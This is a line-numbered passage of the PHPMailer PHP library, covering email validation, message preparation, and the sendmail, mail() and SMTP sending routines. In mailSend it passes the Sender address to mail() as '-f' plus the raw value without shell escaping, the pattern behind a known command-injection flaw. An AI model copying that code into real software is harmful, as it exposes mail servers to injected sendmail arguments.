  1121. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1122. * * `pcre` Use old PCRE implementation;
  1123. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1124. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1125. * * `noregex` Don't use a regex: super fast, really dumb.
  1126. * @return boolean
  1127. * @static
  1128. * @access public
  1129. */
  1130. public static function validateAddress($address, $patternselect = 'auto')
  1131. {
  1132. //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  1133. if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  1134. return false;
  1135. }
  1136. if (!$patternselect or $patternselect == 'auto') {
  1137. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1138. //Constant was added in PHP 5.2.4
  1139. if (defined('PCRE_VERSION')) {
  1140. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1141. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1142. $patternselect = 'pcre8';
  1143. } else {
  1144. $patternselect = 'pcre';
  1145. }
  1146. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1147. //Fall back to older PCRE
  1148. $patternselect = 'pcre';
  1149. } else {
  1150. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1151. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1152. $patternselect = 'php';
  1153. } else {
  1154. $patternselect = 'noregex';
  1155. }
  1156. }
  1157. }
  1158. switch ($patternselect) {
  1159. case 'pcre8':
  1160. /**
  1161. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1162. * @link http://squiloople.com/2009/12/20/email-address-validation/
  1163. * @copyright 2009-2010 Michael Rushton
  1164. * Feel free to use and redistribute this code. But please keep this copyright notice.
  1165. */
  1166. return (boolean)preg_match(
  1167. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  1168. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  1169. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  1170. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  1171. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  1172. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  1173. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  1174. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1175. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  1176. $address
  1177. );
  1178. case 'pcre':
  1179. //An older regex that doesn't need a recent PCRE
  1180. return (boolean)preg_match(
  1181. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  1182. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  1183. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  1184. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  1185. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  1186. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  1187. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  1188. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  1189. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1190. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  1191. $address
  1192. );
  1193. case 'html5':
  1194. /**
  1195. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1196. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1197. */
  1198. return (boolean)preg_match(
  1199. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  1200. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  1201. $address
  1202. );
  1203. case 'noregex':
  1204. //No PCRE! Do something _very_ approximate!
  1205. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1206. return (strlen($address) >= 3
  1207. and strpos($address, '@') >= 1
  1208. and strpos($address, '@') != strlen($address) - 1);
  1209. case 'php':
  1210. default:
  1211. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1212. }
  1213. }
  1214.  
  1215. /**
  1216. * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1217. * "intl" and "mbstring" PHP extensions.
  1218. * @return bool "true" if required functions for IDN support are present
  1219. */
  1220. public function idnSupported()
  1221. {
  1222. // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1223. return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1224. }
  1225.  
  1226. /**
  1227. * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1228. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1229. * This function silently returns unmodified address if:
  1230. * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1231. * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1232. * or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1233. * @see PHPMailer::$CharSet
  1234. * @param string $address The email address to convert
  1235. * @return string The encoded address in ASCII form
  1236. */
  1237. public function punyencodeAddress($address)
  1238. {
  1239. // Verify we have required functions, CharSet, and at-sign.
  1240. if ($this->idnSupported() and
  1241. !empty($this->CharSet) and
  1242. ($pos = strrpos($address, '@')) !== false) {
  1243. $domain = substr($address, ++$pos);
  1244. // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1245. if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1246. $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1247. if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  1248. idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  1249. idn_to_ascii($domain)) !== false) {
  1250. return substr($address, 0, $pos) . $punycode;
  1251. }
  1252. }
  1253. }
  1254. return $address;
  1255. }
  1256.  
  1257. /**
  1258. * Create a message and send it.
  1259. * Uses the sending method specified by $Mailer.
  1260. * @throws phpmailerException
  1261. * @return boolean false on error - See the ErrorInfo property for details of the error.
  1262. */
  1263. public function send()
  1264. {
  1265. try {
  1266. if (!$this->preSend()) {
  1267. return false;
  1268. }
  1269. return $this->postSend();
  1270. } catch (phpmailerException $exc) {
  1271. $this->mailHeader = '';
  1272. $this->setError($exc->getMessage());
  1273. if ($this->exceptions) {
  1274. throw $exc;
  1275. }
  1276. return false;
  1277. }
  1278. }
  1279.  
  1280. /**
  1281. * Prepare a message for sending.
  1282. * @throws phpmailerException
  1283. * @return boolean
  1284. */
  1285. public function preSend()
  1286. {
  1287. try {
  1288. $this->error_count = 0; // Reset errors
  1289. $this->mailHeader = '';
  1290.  
  1291. // Dequeue recipient and Reply-To addresses with IDN
  1292. foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1293. $params[1] = $this->punyencodeAddress($params[1]);
  1294. call_user_func_array(array($this, 'addAnAddress'), $params);
  1295. }
  1296. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1297. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1298. }
  1299.  
  1300. // Validate From, Sender, and ConfirmReadingTo addresses
  1301. foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1302. $this->$address_kind = trim($this->$address_kind);
  1303. if (empty($this->$address_kind)) {
  1304. continue;
  1305. }
  1306. $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1307. if (!$this->validateAddress($this->$address_kind)) {
  1308. $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1309. $this->setError($error_message);
  1310. $this->edebug($error_message);
  1311. if ($this->exceptions) {
  1312. throw new phpmailerException($error_message);
  1313. }
  1314. return false;
  1315. }
  1316. }
  1317.  
  1318. // Set whether the message is multipart/alternative
  1319. if (!empty($this->AltBody)) {
  1320. $this->ContentType = 'multipart/alternative';
  1321. }
  1322.  
  1323. $this->setMessageType();
  1324. // Refuse to send an empty message unless we are specifically allowing it
  1325. if (!$this->AllowEmpty and empty($this->Body)) {
  1326. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1327. }
  1328.  
  1329. // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1330. $this->MIMEHeader = '';
  1331. $this->MIMEBody = $this->createBody();
  1332. // createBody may have added some headers, so retain them
  1333. $tempheaders = $this->MIMEHeader;
  1334. $this->MIMEHeader = $this->createHeader();
  1335. $this->MIMEHeader .= $tempheaders;
  1336.  
  1337. // To capture the complete message when using mail(), create
  1338. // an extra header list which createHeader() doesn't fold in
  1339. if ($this->Mailer == 'mail') {
  1340. if (count($this->to) > 0) {
  1341. $this->mailHeader .= $this->addrAppend('To', $this->to);
  1342. } else {
  1343. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1344. }
  1345. $this->mailHeader .= $this->headerLine(
  1346. 'Subject',
  1347. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1348. );
  1349. }
  1350.  
  1351. // Sign with DKIM if enabled
  1352. if (!empty($this->DKIM_domain)
  1353. && !empty($this->DKIM_private)
  1354. && !empty($this->DKIM_selector)
  1355. && file_exists($this->DKIM_private)) {
  1356. $header_dkim = $this->DKIM_Add(
  1357. $this->MIMEHeader . $this->mailHeader,
  1358. $this->encodeHeader($this->secureHeader($this->Subject)),
  1359. $this->MIMEBody
  1360. );
  1361. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1362. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1363. }
  1364. return true;
  1365. } catch (phpmailerException $exc) {
  1366. $this->setError($exc->getMessage());
  1367. if ($this->exceptions) {
  1368. throw $exc;
  1369. }
  1370. return false;
  1371. }
  1372. }
  1373. public function innerBody(){
  1374.  
  1375.  
  1376. }
  1377. /**
  1378. * Actually send a message.
  1379. * Send the email via the selected mechanism
  1380. * @throws phpmailerException
  1381. * @return boolean
  1382. */
  1383. public function postSend()
  1384. {
  1385. try {
  1386. // Choose the mailer and send through it
  1387. switch ($this->Mailer) {
  1388. case 'sendmail':
  1389. case 'qmail':
  1390. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1391. case 'smtp':
  1392. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1393. case 'mail':
  1394. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1395. default:
  1396. $sendMethod = $this->Mailer.'Send';
  1397. if (method_exists($this, $sendMethod)) {
  1398. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1399. }
  1400.  
  1401. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1402. }
  1403. } catch (phpmailerException $exc) {
  1404. $this->setError($exc->getMessage());
  1405. $this->edebug($exc->getMessage());
  1406. if ($this->exceptions) {
  1407. throw $exc;
  1408. }
  1409. }
  1410. return false;
  1411. }
  1412.  
  1413. /**
  1414. * Send mail using the $Sendmail program.
  1415. * @param string $header The message headers
  1416. * @param string $body The message body
  1417. * @see PHPMailer::$Sendmail
  1418. * @throws phpmailerException
  1419. * @access protected
  1420. * @return boolean
  1421. */
  1422. protected function sendmailSend($header, $body)
  1423. {
  1424. if ($this->Sender != '') {
  1425. if ($this->Mailer == 'qmail') {
  1426. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1427. } else {
  1428. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1429. }
  1430. } else {
  1431. if ($this->Mailer == 'qmail') {
  1432. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1433. } else {
  1434. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1435. }
  1436. }
  1437. if ($this->SingleTo) {
  1438. foreach ($this->SingleToArray as $toAddr) {
  1439. if (!@$mail = popen($sendmail, 'w')) {
  1440. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1441. }
  1442. fputs($mail, 'To: ' . $toAddr . "\n");
  1443. fputs($mail, $header);
  1444. fputs($mail, $body);
  1445. $result = pclose($mail);
  1446. $this->doCallback(
  1447. ($result == 0),
  1448. array($toAddr),
  1449. $this->cc,
  1450. $this->bcc,
  1451. $this->Subject,
  1452. $body,
  1453. $this->From
  1454. );
  1455. if ($result != 0) {
  1456. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1457. }
  1458. }
  1459. } else {
  1460. if (!@$mail = popen($sendmail, 'w')) {
  1461. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1462. }
  1463. fputs($mail, $header);
  1464. fputs($mail, $body);
  1465. $result = pclose($mail);
  1466. $this->doCallback(
  1467. ($result == 0),
  1468. $this->to,
  1469. $this->cc,
  1470. $this->bcc,
  1471. $this->Subject,
  1472. $body,
  1473. $this->From
  1474. );
  1475. if ($result != 0) {
  1476. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1477. }
  1478. }
  1479. return true;
  1480. }
  1481.  
  1482. /**
  1483. * Send mail using the PHP mail() function.
  1484. * @param string $header The message headers
  1485. * @param string $body The message body
  1486. * @link http://www.php.net/manual/en/book.mail.php
  1487. * @throws phpmailerException
  1488. * @access protected
  1489. * @return boolean
  1490. */
  1491. protected function mailSend($header, $body)
  1492. {
  1493. $toArr = array();
  1494. foreach ($this->to as $toaddr) {
  1495. $toArr[] = $this->addrFormat($toaddr);
  1496. }
  1497. $to = implode(', ', $toArr);
  1498.  
  1499. if (empty($this->Sender)) {
  1500. $params = ' ';
  1501. } else {
  1502. $params = sprintf('-f%s', $this->Sender);
  1503. }
  1504. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1505. $old_from = ini_get('sendmail_from');
  1506. ini_set('sendmail_from', $this->Sender);
  1507. }
  1508. $result = false;
  1509. if ($this->SingleTo && count($toArr) > 1) {
  1510. foreach ($toArr as $toAddr) {
  1511. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1512. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1513. }
  1514. } else {
  1515. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1516. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1517. }
  1518. if (isset($old_from)) {
  1519. ini_set('sendmail_from', $old_from);
  1520. }
  1521. if (!$result) {
  1522. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1523. }
  1524. return true;
  1525. }
  1526.  
  1527. /**
  1528. * Get an instance to use for SMTP operations.
  1529. * Override this function to load your own SMTP implementation
  1530. * @return SMTP
  1531. */
  1532. public function getSMTPInstance()
  1533. {
  1534. if (!is_object($this->smtp)) {
  1535. $this->smtp = new SMTP;
  1536. }
  1537. return $this->smtp;
  1538. }
  1539.  
  1540. /**
  1541. * Send mail via SMTP.
  1542. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1543. * Uses the PHPMailerSMTP class by default.
  1544. * @see PHPMailer::getSMTPInstance() to use a different class.
  1545. * @param string $header The message headers
  1546. * @param string $body The message body
  1547. * @throws phpmailerException
  1548. * @uses SMTP
  1549. * @access protected
  1550. * @return boolean
  1551. */
  1552. protected function smtpSend($header, $body)
  1553. {
  1554. $bad_rcpt = array();
  1555. if (!$this->smtpConnect($this->SMTPOptions)) {
  1556. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1557. }
  1558. if ('' == $this->Sender) {
  1559. $smtp_from = $this->From;
  1560. } else {
  1561. $smtp_from = $this->Sender;
  1562. }
  1563. if (!$this->smtp->mail($smtp_from)) {
  1564. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1565. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1566. }
  1567.  
  1568. // Attempt to send to all recipients
  1569. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1570. foreach ($togroup as $to) {
  1571. if (!$this->smtp->recipient($to[0])) {
  1572. $error = $this->smtp->getError();
  1573. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1574. $isSent = false;
  1575. } else {
  1576. $isSent = true;
  1577. }
  1578. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1579. }
  1580. }
  1581.  
  1582. // Only send the DATA command if we have viable recipients
  1583. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1584. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1585. }
  1586. if ($this->SMTPKeepAlive) {
  1587. $this->smtp->reset();
  1588. } else {
  1589. $this->smtp->quit();
  1590. $this->smtp->close();
  1591. }
  1592. //Create error message for any bad addresses
  1593. if (count($bad_rcpt) > 0) {
  1594. $errstr = '';
  1595. foreach ($bad_rcpt as $bad) {
  1596. $errstr .= $bad['to'] . ': ' . $bad['error'];
  1597. }
  1598. throw new phpmailerException(
  1599. $this->lang('recipients_failed') . $errstr,
  1600. self::STOP_CONTINUE
  1601. );
  1602. }
  1603. return true;
  1604. }
  1605.  
  1606. /**
  1607. * Initiate a connection to an SMTP server.
  1608. * Returns false if the operation failed.
  1609. * @param array $options An array of options compatible with stream_context_create()
  1610. * @uses SMTP
  1611. * @access public
  1612. * @throws phpmailerException
  1613. * @return boolean
  1614. */
  1615. public function smtpConnect($options = array())
  1616. {
  1617. if (is_null($this->smtp)) {
  1618. $this->smtp = $this->getSMTPInstance();
  1619. }
  1620.  
  1621. // Already connected?
  1622. if ($this->smtp->connected()) {
  1623. return true;
  1624. }
  1625.  
  1626. $this->smtp->setTimeout($this->Timeout);
  1627. $this->smtp->setDebugLevel($this->SMTPDebug);
  1628. $this->smtp->setDebugOutput($this->Debugoutput);
  1629. $this->smtp->setVerp($this->do_verp);
  1630. $hosts = explode(';', $this->Host);
  1631. $lastexception = null;
  1632.  
  1633. foreach ($hosts as $hostentry) {
  1634. $hostinfo = array();
  1635. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1636. // Not a valid host entry
  1637. continue;
  1638. }
  1639. // $hostinfo[2]: optional ssl or tls prefix
  1640. // $hostinfo[3]: the hostname
  1641. // $hostinfo[4]: optional port number
  1642. // The host string prefix can temporarily override the current setting for SMTPSecure
  1643. // If it's not specified, the default value is used
  1644. $prefix = '';
  1645. $secure = $this->SMTPSecure;
  1646. $tls = ($this->SMTPSecure == 'tls');
  1647. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1648. $prefix = 'ssl://';
  1649. $tls = false; // Can't have SSL and TLS at the same time
  1650. $secure = 'ssl';
  1651. } elseif ($hostinfo[2] == 'tls') {
  1652. $tls = true;
  1653. // tls doesn't use a prefix
  1654. $secure = 'tls';
  1655. }
  1656. //Do we need the OpenSSL extension?
  1657. $sslext = defined('OPENSSL_ALGO_SHA1');
  1658. if ('tls' === $secure or 'ssl' === $secure) {
  1659. //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1660. if (!$sslext) {
  1661. throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1662. }
  1663. }
  1664. $host = $hostinfo[3];
  1665. $port = $this->Port;
  1666. $tport = (integer)$hostinfo[4];
  1667. if ($tport > 0 and $tport < 65536) {
  1668. $port = $tport;
  1669. }
  1670. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1671. try {
  1672. if ($this->Helo) {
  1673. $hello = $this->Helo;
  1674. } else {
  1675. $hello = $this->serverHostname();
  1676. }
  1677. $this->smtp->hello($hello);
  1678. //Automatically enable TLS encryption if:
  1679. // * it's not disabled
  1680. // * we have openssl extension
  1681. // * we are not already using SSL
  1682. // * the server offers STARTTLS
  1683. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1684. $tls = true;
  1685. }
  1686. if ($tls) {
  1687. if (!$this->smtp->startTLS()) {
  1688. throw new phpmailerException($this->lang('connect_host'));
  1689. }
  1690. // We must resend HELO after tls negotiation
  1691. $this->smtp->hello($hello);
  1692. }
  1693. if ($this->SMTPAuth) {
  1694. if (!$this->smtp->authenticate(
  1695. $this->Username,
  1696. $this->Password,
  1697. $this->AuthType,
  1698. $this->Realm,
  1699. $this->Workstation
  1700. )
  1701. ) {
  1702. throw new phpmailerException($this->lang('authenticate'));
  1703. }
  1704. }
  1705. return true;
  1706. } catch (phpmailerException $exc) {
  1707. $lastexception = $exc;
  1708. $this->edebug($exc->getMessage());
  1709. // We must have connected, but then failed TLS or Auth, so close connection nicely
  1710. $this->smtp->quit();
  1711. }
  1712. }
  1713. }
  1714. // If we get here, all connection attempts have failed, so close connection hard
  1715. $this->smtp->close();
  1716. // As we've caught all exceptions, just report whatever the last one was
  1717. if ($this->exceptions and !is_null($lastexception)) {
  1718. throw $lastexception;
  1719. }
  1720. return false;
  1721. }
  1722.  
  1723. /**
  1724. * Close the active SMTP session if one exists.
  1725. * @return void
  1726. */
  1727. public function smtpClose()
  1728. {
  1729. if ($this->smtp !== null) {
  1730. if ($this->smtp->connected()) {
  1731. $this->smtp->quit();
  1732. $this->smtp->close();
  1733. }
  1734. }
  1735. }
  1736.  
  1737. /**
  1738. * Set the language for error messages.
  1739. * Returns false if it cannot load the language file.
  1740. * The default language is English.
  1741. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1742. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1743. * @return boolean
  1744. * @access public
  1745. */
  1746. public function setLanguage($langcode = 'en', $lang_path = '')
  1747. {
  1748. // Define full set of translatable strings in English
  1749. $PHPMAILER_LANG = array(
  1750. 'authenticate' => 'SMTP Error: Could not authenticate.',
  1751. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1752. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  1753. 'empty_message' => 'Message body empty',
  1754. 'encoding' => 'Unknown encoding: ',
  1755. 'execute' => 'Could not execute: ',
  1756. 'file_access' => 'Could not access file: ',
  1757. 'file_open' => 'File Error: Could not open file: ',
  1758. 'from_failed' => 'The following From address failed: ',
  1759. 'instantiate' => 'Could not instantiate mail function.',
  1760. 'invalid_address' => 'Invalid address: ',
  1761. 'mailer_not_supported' => ' mailer is not supported.',
  1762. 'provide_address' => 'You must provide at least one recipient email address.',
  1763. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1764. 'signing' => 'Signing Error: ',
  1765. 'smtp_connect_failed' => 'SMTP connect() failed.',
  1766. 'smtp_error' => 'SMTP server error: ',
  1767. 'variable_set' => 'Cannot set or reset variable: ',
  1768. 'extension_missing' => 'Extension missing: '
  1769. );
  1770. if (empty($lang_path)) {
  1771. // Calculate an absolute path so it can work if CWD is not here
  1772. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1773. }
  1774. $foundlang = true;
  1775. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1776. // There is no English translation file
  1777. if ($langcode != 'en') {
  1778. // Make sure language file path is readable
  1779. if (!is_readable($lang_file)) {
  1780. $foundlang = false;
  1781. } else {
  1782. // Overwrite language-specific strings.
  1783. // This way we'll never have missing translation keys.
  1784. $foundlang = include $lang_file;
  1785. }
  1786. }
  1787. $this->language = $PHPMAILER_LANG;
  1788. return (boolean)$foundlang; // Returns false if language not found
  1789. }
  1790.  
  1791. /**
  1792. * Get the array of strings for the current language.
  1793. * @return array
  1794. */
  1795. public function getTranslations()
  1796. {
  1797. return $this->language;
  1798. }
  1799.  
  1800. /**
  1801. * Create recipient headers.
  1802. * @access public
  1803. * @param string $type
  1804. * @param array $addr An array of recipient,
  1805. * where each recipient is a 2-element indexed array with element 0 containing an address
  1806. * and element 1 containing a name, like:
  1807. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  1808. * @return string
  1809. */
  1810. public function addrAppend($type, $addr)
  1811. {
  1812. $addresses = array();
  1813. foreach ($addr as $address) {
  1814. $addresses[] = $this->addrFormat($address);
  1815. }
  1816. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1817. }
  1818.  
  1819. /**
  1820. * Format an address for use in a message header.
  1821. * @access public
  1822. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1823. * like array('joe@example.com', 'Joe User')
  1824. * @return string
  1825. */
  1826. public function addrFormat($addr)
  1827. {
  1828. if (empty($addr[1])) { // No name provided
  1829. return $this->secureHeader($addr[0]);
  1830. } else {
  1831. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1832. $addr[0]
  1833. ) . '>';
  1834. }
  1835. }
  1836.  
  1837. /**
  1838. * Word-wrap message.
  1839. * For use with mailers that do not automatically perform wrapping
  1840. * and for quoted-printable encoded messages.
  1841. * Original written by philippe.
  1842. * @param string $message The message to wrap
  1843. * @param integer $length The line length to wrap to
  1844. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1845. * @access public
  1846. * @return string
  1847. */
  1848. public function wrapText($message, $length, $qp_mode = false)
  1849. {
  1850. if ($qp_mode) {
  1851. $soft_break = sprintf(' =%s', $this->LE);
  1852. } else {
  1853. $soft_break = $this->LE;
  1854. }
  1855. // If utf-8 encoding is used, we will need to make sure we don't
  1856. // split multibyte characters when we wrap
  1857. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1858. $lelen = strlen($this->LE);
  1859. $crlflen = strlen(self::CRLF);
  1860.  
  1861. $message = $this->fixEOL($message);
  1862. //Remove a trailing line break
  1863. if (substr($message, -$lelen) == $this->LE) {
  1864. $message = substr($message, 0, -$lelen);
  1865. }
  1866.  
  1867. //Split message into lines
  1868. $lines = explode($this->LE, $message);
  1869. //Message will be rebuilt in here
  1870. $message = '';
  1871. foreach ($lines as $line) {
  1872. $words = explode(' ', $line);
  1873. $buf = '';
  1874. $firstword = true;
  1875. foreach ($words as $word) {
  1876. if ($qp_mode and (strlen($word) > $length)) {
  1877. $space_left = $length - strlen($buf) - $crlflen;
  1878. if (!$firstword) {
  1879. if ($space_left > 20) {
  1880. $len = $space_left;
  1881. if ($is_utf8) {
  1882. $len = $this->utf8CharBoundary($word, $len);
  1883. } elseif (substr($word, $len - 1, 1) == '=') {
  1884. $len--;
  1885. } elseif (substr($word, $len - 2, 1) == '=') {
  1886. $len -= 2;
  1887. }
  1888. $part = substr($word, 0, $len);
  1889. $word = substr($word, $len);
  1890. $buf .= ' ' . $part;
  1891. $message .= $buf . sprintf('=%s', self::CRLF);
  1892. } else {
  1893. $message .= $buf . $soft_break;
  1894. }
  1895. $buf = '';
  1896. }
  1897. while (strlen($word) > 0) {
  1898. if ($length <= 0) {
  1899. break;
  1900. }
  1901. $len = $length;
  1902. if ($is_utf8) {
  1903. $len = $this->utf8CharBoundary($word, $len);
  1904. } elseif (substr($word, $len - 1, 1) == '=') {
  1905. $len--;
  1906. } elseif (substr($word, $len - 2, 1) == '=') {
  1907. $len -= 2;
  1908. }
  1909. $part = substr($word, 0, $len);
  1910. $word = substr($word, $len);
  1911.  
  1912. if (strlen($word) > 0) {
  1913. $message .= $part . sprintf('=%s', self::CRLF);
  1914. } else {
  1915. $buf = $part;
  1916. }
  1917. }
  1918. } else {
  1919. $buf_o = $buf;
  1920. if (!$firstword) {
  1921. $buf .= ' ';
  1922. }
  1923. $buf .= $word;
  1924.  
  1925. if (strlen($buf) > $length and $buf_o != '') {
